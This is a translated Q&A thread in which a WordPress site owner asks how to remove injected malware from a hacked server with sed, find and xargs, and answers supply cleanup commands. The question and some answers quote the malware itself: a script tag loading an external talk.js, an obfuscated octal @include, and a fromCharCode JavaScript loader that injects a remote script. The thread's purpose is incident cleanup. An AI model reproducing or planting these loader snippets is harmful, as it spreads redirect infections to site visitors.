sedまたはおそらくgrepを使用して文字列全体を置き換える方法


10

サーバー全体がハッキングされたり、マルウェアの問題が発生したりしました。私のサイトはWordPressベースで、私のサーバーでホストされているサイトの大部分はWordPressベースです。ハッカーはこのコード行をすべてのファイルとデータベースに追加しました

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

私は使用してgrepでそれを検索しました

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

私はそれをファイル構造全体で置き換えようとしています、sedそして私は次のコマンドを書きました。

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

index.php最初に1 つのファイルの文字列を置き換えようとしているので、それが機能することがわかります。

そして、私は自分のコードが間違っていることを知っています。これで私を助けてください。

@Eranのコードを試してみたところ、行全体が削除されました。しかし、専門用語はこれです

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

そして、すべてのコンテンツを削除したいのですが、phpの開始タグを保持したいと思ってい<?phpます。

@slyblotyの解決策は簡単で、うまくいきましたが。

影響を受けるすべてのファイルからコードを完全に削除します。私は次の3つのコマンドを実行しています。

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" -スクリプト行を削除するには
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- @include行を削除するには
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' -コメント行を削除するには

また、'*.html'ハッカーのスクリプトがすべてのディレクトリに不要なindex.htmlを作成したため、3つすべてのコマンドをに対して再度実行しました。これらのindex.htmlを一括で削除することが正しいアプローチかどうかはわかりませんでした。

今でも、ジャンクファイルとその痕跡を把握する必要があります。

ハッカースクリプトはJSコードも追加しました。

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

私もsedそれができるかどうかを確認しようとしています。


コードが間違っていることをどのようにして知っていますか?
Beta

私はそれを実行し、それは`>`のように次の行に複数の入力を求め続け、そのため
ディリップ・グプタ

2
行を削除できませんか?sed -i '/ trasnaltemyrecords / d'
Eran Ben-Natan

1
また、grepをそこに追加して、この行が含まれるすべてのファイルを次のようにフィードすることもできます。while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})" この-lオプションは、ファイル名のみを提供し、一致するテキストは提供しません。
Jason、

1
もう1つ...このアプローチを採用する場合は、の「バックアップ」オプションパラメータを利用しsed -iます。たとえば、編集されたすべてのファイルのファイルをsed -i.bak作成し*.bakます。while...grepループで使用すると、その文字列を含むファイルのみがバックアップされます。追加のコメントはすべて申し訳ありませんが、私の意見では、マルウェアは「全員参加型」のシナリオです。
ジェイソン・

回答:


2

"文字列には二重引用符()を使用し、一重引用符(')やタグ(<>)をエスケープしないでください。スラッシュ(/)のみをエスケープします。

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php

2

sedでどの方法を使用する場合でも、findおよびを使用すると、完璧なフィルタリングオプションを使用して、複数のファイルに対して複数のプロセスを同時に実行できますxargs。例えば:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

そうなる:

  • find -見つける
  • -type f -ファイルのみ
  • -name '*.txt' -それはphpで終わります
  • -print0 -それらをゼロバイトで区切って印刷する
  • | xargs -0 -ゼロバイトで区切られた各ファイル
  • -P7 -7つのプロセスを同時に実行する
  • -n1 -ファイルごとに
  • sed -ファイルごとにsedを実行します
  • -i -その場でファイルを編集する
  • '...' -他の回答から実行するsedスクリプト。

進行状況を表示する-tオプションを追加することができますxargs。参照してください男のfind(男性の引数を](http://man7.org/linux/man-pages/man1/xargs.1.html)。


2

一重引用符は、エスケープ文字なしでそのまま使用されます。ではvar='hello\''、閉じられていない見積もりがあります。

この問題を修正するには、1)sedコマンドを二重引用符で囲みます。または 2)単一引用符付き文字列を終了し、を追加\'して、引用符文字列を再度開きます。

ただし、2番目の方法はより混乱します。

さらに、sedコマンドを区切るために任意の区切り文字を使用できます。コマンドにスラッシュがあるため、コンマを使用する方が簡単です。たとえば、最初の方法を使用します。

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

2番目の方法を使用する:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

この例は、実用的というより教育的です。これがどのように'\''機能するかです:

最初':現在引用されているリテラル文字列を終了します

\':リテラル文字として単一引用符を入力してください

2番目':引用符で囲まれたリテラル文字列を再入力します

そこにスペースがない限り、sedコマンドを続けるだけです。このアイデアはに固有のものbashです。

私はあなたが何のためにこれを使用しているのか完全にはわからないので、エスケープ<>てそこに残します。 sed使用する\<と、\>平均のワードのマッチングに。それが意図的なものかどうかはわかりません。

これが何にも一致しない場合は、おそらくとをエスケープしないようにする必要が<あり>ます。

編集:実際の問題に対するより実用的な解決策については、コメントの@ EranBen-Natanの解決策を参照してください。私の答えは、OPが元のコマンドでより多くの入力を求められた理由に関するリソースです。

編集2のソリューション

これが機能するために、私はあなたsedが非標準オプションを持っていると仮定しています-z。のGNUバージョンにsedはこれが必要です。また、このコードは常に6行の長さの形式で表示されると想定しています。

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

仕組み:すべてに一致させるために、fromCharCode行の先頭を使用しています。 -z新しい行ではなくnullでファイルを分割します。これにより、ラインフィードを直接検索できます。

[^\n]*\n-これは、ラインフィードまですべてに一致し、次にラインフィードに一致します。改行(-z)で分割しないため、正規表現var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\nは最大の一致に一致します。たとえば\n}\n、ファイルのさらに下にある場合は、そこから悪意のあるコードまでのすべてのコードを削除します。したがって、このシーケンスを6回繰り返すと、最初の行の終わりと次の5行に一致します。

grep -lr- grep一致するパターンを持つファイルのみをリストする再帰。この方法でsedは、すべてのファイルを編集しているわけではありません。これがなければ、-i.bak(明白ではない-i)は混乱を招くでしょう。


@Jasonに感謝します。この方法を試してみます。現在、バックアップのオプションはありません。だから私はそれを掃除することに行き詰まっています。
Dilip Gupta

@DilipGuptaあなたが今いる場所をバックアップすることをお勧めします。rsyncバックアップや復元などに使用できます。
Jason、

adminer.phpを使用しますか?その感染力があるようです
Jiro Matchonson

1

wp-mail-smtpプラグインがインストールされていますか?同じマルウェアがあり、中には奇妙なことがありましたwp-content/plugins/wp-mail-smtp/src/Debug.php

また、JavaScriptリンクはWordPressデータベースのすべてのpost_contentフィールドにwp_postsあります。


はい、私はそのプラグインをインストールしました、そしてあなたが言ったようにそこにあります。最初に片付けをしてからセキュリティを強化しようとしています。また、ハッカーはと呼ばれるプラグインをインストールしたことに注意してくださいsuper-socialat
Dilip Gupta

そのDebug.phpで正確に何を見つけましたか、そこには何も奇妙なものは見つかりませんでしたが、別のファイルに格納されている可能性があります。コードの一部を提供する場合は、ファイルを検索してください。インストールされている新しいプラグインが見つかりませんでした。
ジロマッチンソン、

1
どのエディタを使用しましたか?vimで開くと、そのweidは表示されますが、nanoやGeanyなどのエディターでは表示されません。... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedov

こんにちは、私はwinscpでそれを探していましたが、今はviも試しましたが、まだ何も見つかりませんでした。Tnxなど、ファイル内で検索するためにIll tr​​iなど。
ジロマッコンソン

少し見れば、$ GLOBALS変数の文字位置などを使用して記述されたsqlステートメントのように見えるため、単に "trasnaltemyrecords"を検索するだけでは見つけることができません。grep-r "NULL ); @ $ "/ var / www / html / { 、。}または他のものは何も見つかりませんでした。とにかく、ワードプレスページに古いadminer.phpがあったので、それがリークの原因になる可能性もあります。多分..
Jiro Matchonson

0

私は今日同じことを得ました、すべてのページ投稿はこの厄介なウイルススクリプトを追加しました

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

私はそれをデータベースから無効にしました

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

少なくとも感染したファイルはありません

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

何かは見つかりませんでしたが、これがどのようにしてデータベースに落ち着いたのかまったくわかりません。

この感染はページのリダイレクトを引き起こし、クロムはほとんどこれを検出してブロックします。/wp-mail-smtp/src/Debug.phpに異常はありませんでした。


これはプラグインの破損の一部に関連していると思います。ハッカーはサイトへのバックドアアクセスを取得しました。
Dilip Gupta

しかし、どのプラグイン、2つのハウスが合格し、すべてが再びリダイレクトされます
Jiro Matchonson

0

今日も同じことがあり、すべてのページ投稿にスクリプトが追加されています。私はそれらを使ってうまく処理しました https://en.wordpress.org/plugins/search-and-replace/プラグイン。

さらに、文字列の後のwp_postsテーブルのpost_content列にも1つのレコードが見つかりました。

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

手動で削除しました。


0

私にとってこれは働いた:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

検索する必要があります:* .js、*。json、*。map

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.